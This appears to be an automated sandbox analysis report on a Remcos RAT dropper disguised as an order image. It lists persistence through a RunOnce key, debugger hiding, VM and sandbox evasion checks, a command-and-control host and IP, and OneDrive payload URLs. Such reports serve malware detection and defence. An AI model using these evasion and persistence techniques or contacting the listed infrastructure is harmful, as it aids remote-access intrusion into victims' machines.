Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce unturbid C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.vbs			Jump to behavior

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce unturbid	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce unturbid	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce unturbid	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce unturbid	Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Show sources

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	RDTSC instruction interceptor: First address: 0000000000561383 second address: 0000000000561383 instructions:
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	RDTSC instruction interceptor: First address: 00000000005617F6 second address: 00000000005617F6 instructions:
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	RDTSC instruction interceptor: First address: 0000000000561383 second address: 0000000000561383 instructions:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: PILGRIMIZES.exe

Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	RDTSC instruction interceptor: First address: 0000000000561383 second address: 0000000000561383 instructions:
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	RDTSC instruction interceptor: First address: 00000000005617F6 second address: 00000000005617F6 instructions:
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	RDTSC instruction interceptor: First address: 0000000000561383 second address: 0000000000561383 instructions:

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe

Code function: 0_2_021F1658 rdtsc

0_2_021F1658

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe

Window / User API: threadDelayed 824

Jump to behavior

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe TID: 5772	Thread sleep count: 824 > 30			Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe TID: 5772	Thread sleep time: -8240000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Last function: Thread delayed

Source: PILGRIMIZES.exe, 00000006.00000002.415757520.00000000009B8000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: PILGRIMIZES.exe	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

Contains functionality to hide a thread from the debugger

Show sources

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe

Code function: 0_2_021F08E0 NtSetInformationThread 000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,021F7E3E,F21FD920

0_2_021F08E0

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Thread information set: HideFromDebugger	Jump to behavior

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe

Code function: 0_2_021F1658 rdtsc

0_2_021F1658

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe

Code function: 1_2_005651B6 LdrInitializeThunk,

1_2_005651B6

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F2A2B mov eax, dword ptr fs:[00000030h]	0_2_021F2A2B
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F3CD0 mov eax, dword ptr fs:[00000030h]	0_2_021F3CD0
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F70EA mov eax, dword ptr fs:[00000030h]	0_2_021F70EA
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F8511 mov eax, dword ptr fs:[00000030h]	0_2_021F8511
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F2B5F mov eax, dword ptr fs:[00000030h]	0_2_021F2B5F
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F7780 mov eax, dword ptr fs:[00000030h]	0_2_021F7780
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F21CE mov eax, dword ptr fs:[00000030h]	0_2_021F21CE
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 0_2_021F2BC9 mov eax, dword ptr fs:[00000030h]	0_2_021F2BC9
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 1_2_0056776E mov eax, dword ptr fs:[00000030h]	1_2_0056776E
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 1_2_00568511 mov eax, dword ptr fs:[00000030h]	1_2_00568511
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 1_2_00563CD0 mov eax, dword ptr fs:[00000030h]	1_2_00563CD0
Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Code function: 1_2_005670EA mov eax, dword ptr fs:[00000030h]	1_2_005670EA
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_02312A2B mov eax, dword ptr fs:[00000030h]	3_2_02312A2B
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_023170EA mov eax, dword ptr fs:[00000030h]	3_2_023170EA
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_02313CD0 mov eax, dword ptr fs:[00000030h]	3_2_02313CD0
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_02318511 mov eax, dword ptr fs:[00000030h]	3_2_02318511
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_02312B5F mov eax, dword ptr fs:[00000030h]	3_2_02312B5F
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_02317780 mov eax, dword ptr fs:[00000030h]	3_2_02317780
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_02312BC9 mov eax, dword ptr fs:[00000030h]	3_2_02312BC9
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 3_2_023121CE mov eax, dword ptr fs:[00000030h]	3_2_023121CE
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 6_2_00562BC9 mov eax, dword ptr fs:[00000030h]	6_2_00562BC9
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 6_2_00562A2B mov eax, dword ptr fs:[00000030h]	6_2_00562A2B
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 6_2_00563CD0 mov eax, dword ptr fs:[00000030h]	6_2_00563CD0
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 6_2_005670EA mov eax, dword ptr fs:[00000030h]	6_2_005670EA
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 6_2_00562B5F mov eax, dword ptr fs:[00000030h]	6_2_00562B5F
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 6_2_00568511 mov eax, dword ptr fs:[00000030h]	6_2_00568511
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 6_2_005621CE mov eax, dword ptr fs:[00000030h]	6_2_005621CE
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 6_2_00567780 mov eax, dword ptr fs:[00000030h]	6_2_00567780
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D2A2B mov eax, dword ptr fs:[00000030h]	8_2_021D2A2B
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D3CD0 mov eax, dword ptr fs:[00000030h]	8_2_021D3CD0
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D70EA mov eax, dword ptr fs:[00000030h]	8_2_021D70EA
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D8511 mov eax, dword ptr fs:[00000030h]	8_2_021D8511
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D2B5F mov eax, dword ptr fs:[00000030h]	8_2_021D2B5F
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D7780 mov eax, dword ptr fs:[00000030h]	8_2_021D7780
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D21CE mov eax, dword ptr fs:[00000030h]	8_2_021D21CE
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 8_2_021D2BC9 mov eax, dword ptr fs:[00000030h]	8_2_021D2BC9
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_00562BC9 mov eax, dword ptr fs:[00000030h]	11_2_00562BC9
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_00562A2B mov eax, dword ptr fs:[00000030h]	11_2_00562A2B
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_00563CD0 mov eax, dword ptr fs:[00000030h]	11_2_00563CD0
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_005670EA mov eax, dword ptr fs:[00000030h]	11_2_005670EA
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_00562B5F mov eax, dword ptr fs:[00000030h]	11_2_00562B5F
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_00568511 mov eax, dword ptr fs:[00000030h]	11_2_00568511
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_005621CE mov eax, dword ptr fs:[00000030h]	11_2_005621CE
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Code function: 11_2_00567780 mov eax, dword ptr fs:[00000030h]	11_2_00567780

HIPS / PFW / Operating System Protection Evasion:

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe	Process created: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe 'C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe'	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process created: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Process created: C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	Jump to behavior

Source: NEWORDERrefno0992883jpg.exe, 00000001.00000002.697529935.0000000002477000.00000004.00000040.sdmp	Binary or memory string: Program Manager
Source: NEWORDERrefno0992883jpg.exe, 00000001.00000002.697252918.0000000000EB0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: NEWORDERrefno0992883jpg.exe, 00000001.00000002.697252918.0000000000EB0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: NEWORDERrefno0992883jpg.exe, 00000001.00000002.697529935.0000000002477000.00000004.00000040.sdmp	Binary or memory string: Program Manageranager
Source: logs.dat.1.dr	Binary or memory string: [ Program Manager ]
Source: NEWORDERrefno0992883jpg.exe, 00000001.00000002.697529935.0000000002477000.00000004.00000040.sdmp	Binary or memory string: Program Manager0\|
Source: NEWORDERrefno0992883jpg.exe, 00000001.00000002.697529935.0000000002477000.00000004.00000040.sdmp	Binary or memory string: Program Managerrs\eng
Source: NEWORDERrefno0992883jpg.exe, 00000001.00000002.697252918.0000000000EB0000.00000002.00000001.sdmp	Binary or memory string: &Program Manager
Source: NEWORDERrefno0992883jpg.exe, 00000001.00000002.697252918.0000000000EB0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: NEWORDERrefno0992883jpg.exe, 00000001.00000002.697196553.0000000000920000.00000004.00000001.sdmp	Binary or memory string: \|Program Manager\|

Language, Device and Operating System Detection:

Source: C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe

Code function: 0_2_021F5E52 cpuid

0_2_021F5E52

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Remote Access Functionality:

Detected Remcos RAT

Show sources

Source: PILGRIMIZES.exe, 00000006.00000002.415814005.0000000000A1C000.00000004.00000020.sdmp

String found in binary or memory: Remcos_Mutex_InjP

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting11	Registry Run Keys / Startup Folder11	Process Injection12	Masquerading1	OS Credential Dumping	Security Software Discovery621	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Registry Run Keys / Startup Folder11	Virtualization/Sandbox Evasion22	LSASS Memory	Virtualization/Sandbox Evasion22	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection12	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Remote Access Software1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Scripting11	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Ingress Tool Transfer1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Non-Application Layer Protocol1	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Information Discovery212	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Application Layer Protocol1	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
NEWORDERrefno0992883jpg.exe	24%	Virustotal		Browse
NEWORDERrefno0992883jpg.exe	9%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe	9%	ReversingLabs

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://crl3.digi	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
inforosi3m.hopto.org	185.140.53.253	true	false	unknown
onedrive.live.com	unknown	unknown	false	high
ry3dmw.dm.files.1drv.com	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ry3dmw.dm.files.1drv.com/y4mCJVSTmiHuzMhULmUNmg4EimfSRflb83yNVhTry70q37pI5b1gbJ6e_SyvPbvtOFB	PILGRIMIZES.exe, 00000006.00000002.415757520.00000000009B8000.00000004.00000020.sdmp, PILGRIMIZES.exe, 00000006.00000002.415814005.0000000000A1C000.00000004.00000020.sdmp	false		high
https://ry3dmw.dm.files.1drv.com/	PILGRIMIZES.exe, 00000006.00000002.415757520.00000000009B8000.00000004.00000020.sdmp	false		high
https://ry3dmw.dm.files.1drv.com/y4m5Uk8XK7Wl1Kz2W_ObQ202aCzFbJtOLqXH5zzyoS4s7PNVv2jQFwK-Dxrh70VAS6o	PILGRIMIZES.exe, 00000006.00000002.415798264.0000000000A00000.00000004.00000020.sdmp	false		high
http://crl3.digi	PILGRIMIZES.exe, 00000006.00000002.415798264.0000000000A00000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://onedrive.live.com/download?cid=3EA7AF3CF2A8B6E2&resid=3EA7AF3CF2A8B6E2%21121&authkey=AMq9sG-	PILGRIMIZES.exe	false		high
https://onedrive.live.com/	PILGRIMIZES.exe, 00000006.00000002.415757520.00000000009B8000.00000004.00000020.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.140.53.253	unknown	Sweden		209623	DAVID_CRAIGGG	false

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	342213
Start date:	20.01.2021
Start time:	16:53:41
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	NEWORDERrefno0992883jpg.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@13/3@7/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 36.2% (good quality ratio 21.3%) Quality average: 38% Quality standard deviation: 34.7%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 52.147.198.201, 13.88.21.125, 104.42.151.234, 13.107.42.13, 13.107.42.12, 51.104.139.180, 2.20.142.210, 2.20.142.209, 51.103.5.159, 92.122.213.194, 92.122.213.247, 52.155.217.156, 20.54.26.129, 23.210.248.85, 51.104.144.132 Excluded domains from analysis (whitelisted): odc-web-brs.onedrive.akadns.net, au.download.windowsupdate.com.edgesuite.net, odc-dm-files-geo.onedrive.akadns.net, arc.msn.com.nsatc.net, wns.notify.windows.com.akadns.net, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, vip1-par02p.wns.notify.trafficmanager.net, l-0004.l-msedge.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, odwebpl.trafficmanager.net.l-0004.dc-msedge.net.l-0004.l-msedge.net, odc-dm-files.onedrive.akadns.net.l-0003.dc-msedge.net.l-0003.l-msedge.net, l-0003.l-msedge.net, emea1.notify.windows.com.akadns.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, odc-dm-files-brs.onedrive.akadns.net, client.wns.windows.com, fs.microsoft.com, odc-web-geo.onedrive.akadns.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, a767.dscg3.akamai.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, blobcollector.events.data.trafficmanager.net, par02p.wns.notify.trafficmanager.net, skypedataprdcolwus15.cloudapp.net, skypedataprdcolwus16.cloudapp.net Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:54:46	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce unturbid C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.vbs
16:54:53	API Interceptor	1257x Sleep call for process: NEWORDERrefno0992883jpg.exe modified
16:54:55	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce unturbid C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.vbs

Joe Sandbox View / Context

IPs

